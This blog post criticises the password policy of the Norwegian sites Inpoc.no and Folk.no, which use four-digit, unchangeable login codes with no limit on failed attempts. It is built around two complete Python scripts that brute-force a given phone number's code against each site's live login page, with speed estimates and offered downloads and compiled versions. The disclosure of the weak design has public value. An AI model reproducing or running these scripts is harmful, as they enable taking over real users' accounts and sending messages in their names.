multigeeks.com

You’ve heard it before. Over and over again. A password just can’t be too strong, but you and I both know how tempting it is to use the name of your dog or your birth date as your password. The problem with picking an easy-to-guess password is – not surprisingly – that it’s easy to guess, even by strangers. And ‘guessing’ doesn’t necessarily mean manually typing in each guessed password; it can be done automatically with some minimal programming knowledge.

Naturally, you’re aware of this and you’re trying your very best to use strong passwords all around. While this indeed is a good practise, it’s not always possible. Some websites and systems may actually force you to use insecure and sometimes unchangeable passwords. Examples of such websites are Folk.no and Inpoc.no. Both sites are owned by a company named Aspiro AS, which again is owned by Schibsted; a quite big Norwegian media conglomerate.

Inpoc used to be one of the most popular Norwegian mobile phone content providers, offering products such as ringtones, screensavers and games for mobile phones. They were also quite big in offering free SMSes online. Today, sites like Biip.no have taken over, but Inpoc still seems to be semi-popular; especially for sending free SMSes online.

Folk.no is also owned by Aspiro (Schibsted) and is basically a site to help find information about people, such as phone numbers, addresses, websites. They also provide profile sites for members, making them able to serve even more information about people. Inpoc.no and Folk.no obviously share the same user database and members of Inpoc have to log into Folk.no to send SMSes, which brings us back to the main point of this blog entry.

When registering at Inpoc or Folk.no, you get a passcode of four digits sent as an SMS to your cellphone. This passcode is used to verify that you’re the actual owner of the number you’re trying to sign up with. After verifying this on the site, you get to log in with the very same four digits as your permanent password. As if that’s not bad enough, you don’t even get to change your password to a secure one! You’re forced to choose a password consisting of four digits – no other characters are allowed.

If you’ve forgotten your password, you may request it and have it sent as an SMS to your phone. This basically means that all the passwords in the database are in cleartext. Not that it actually matters with such a horrible password policy.

This made me go get some coffee and open up a Python shell and Notepad++. Half an hour later, I came up with this piece of messy code:

import urllib
import re
 
phonenumber	=	raw_input('Enter phone number: ')
status		=	1
 
for num in range(0,10000):
	if status == 0:
		break
	else:
		if(len(str(num)) == 1):
			num	=	'000' + str(num)
		if(len(str(num)) == 2):
			num	=	'00' + str(num)
		if(len(str(num)) == 3):
			num =	'0' + str(num)
 
		print '\n' * 1000
		print 'Trying ' + str(num)
		params			=	{}
		params['vsp_username']	=	phonenumber
		params['vsp_password']	=	num
		params			=	urllib.urlencode(params)
		runit			=	urllib.urlopen('http://inpoc.no/?read=true&read=true', params)
		runitstr		=	runit.read()
		for word in runitstr.split():
			word	=	word.replace("\n", "")
			word	=	word.replace("\t", "")
			find	=	re.match('id="tc"><h1>Logget', word)
			if find:
				print '\n' * 1000
				print 'Tries: ' + str(num)
				print 'Password is ' + str(num)
				status	=	0
				break
			else:
				pass

Note that the apostrophes are converted to primes (WordPress security measure) so you might have some difficulty running it out of the box. Downloadable version available here, py2exe compiled version available here.

To explain the code: It takes the phone number, loops from 0000 through 9999 and tries to log in with the current position of the loop as the password. If it’s successful, the password is printed out. Its speed is in average about 60 tries per minute, 1 per second. This means that it’ll take about 166 minutes or 2 hours and 46 minutes to try every password from 0 to 9999. Since they do not have any maximum limit of how many times you’re allowed to enter an incorrect password, you’re pretty much guaranteed to find somebody’s password.

import urllib
import re
 
phonenumber	=	raw_input('Enter phone number: ')
status		=	1
 
for num in range(0,10000):
	if status == 0:
		break
	else:
		if(len(str(num)) == 1):
			num	=	'000' + str(num)
		if(len(str(num)) == 2):
			num	=	'00' + str(num)
		if(len(str(num)) == 3):
			num =	'0' + str(num)
 
		print '\n' * 1000
		print 'Tries ' + str(num)
		params			=	{}
		params['f_cellnumber']	=	phonenumber
		params['f_password']	=	num
		params['Submit.x']	=	0
		params['Submit.y']	=	0
		params['Submit']	=	'Submit'
		params			=	urllib.urlencode(params)
		runit			=	urllib.urlopen('http://folk.inpoc.no/index.ftl', params)
		runitstr		=	runit.read()
		for word in runitstr.split():
			word	=	word.replace("\n", "")
			word	=	word.replace("\t", "")
			find	=	re.match('(.+)loggout.ftl">', word)
			if find:
				print '\n' * 1000
				print 'Tries: ' + str(num)
				print 'Password is ' + str(num)
				status	=	0
				break
			else:
				pass

As if that’s not enough: It’s even twice as fast as the Inpoc brute! At 120 tries per minute or 2 per second, it’ll take about 80 minutes or 1 hour and 20 minutes to finish trying every possible password. And it’ll finish a lot earlier if the password is, for instance, 2852.
Downloadable version available here, py2exe compiled version available here.
The conclusion should be pretty easy to foresee: Slap yourselves, developers of Inpoc.no and Folk.no! Why on earth would you force the users to use a four digit password? I really can’t see any reason at all to do this. Laziness is perhaps one reason, but one would expect better solutions from such big companies. You might say that if someone gets access to another person’s account, they’re not able to do much harm. While this perhaps is true, sending SMSes from another person’s phone number could still cause some harm. Also, this is not how you protect people’s privacy.

What would happen if these developers were to make systems with more sensitive information and with the same password policies?

We’ll see.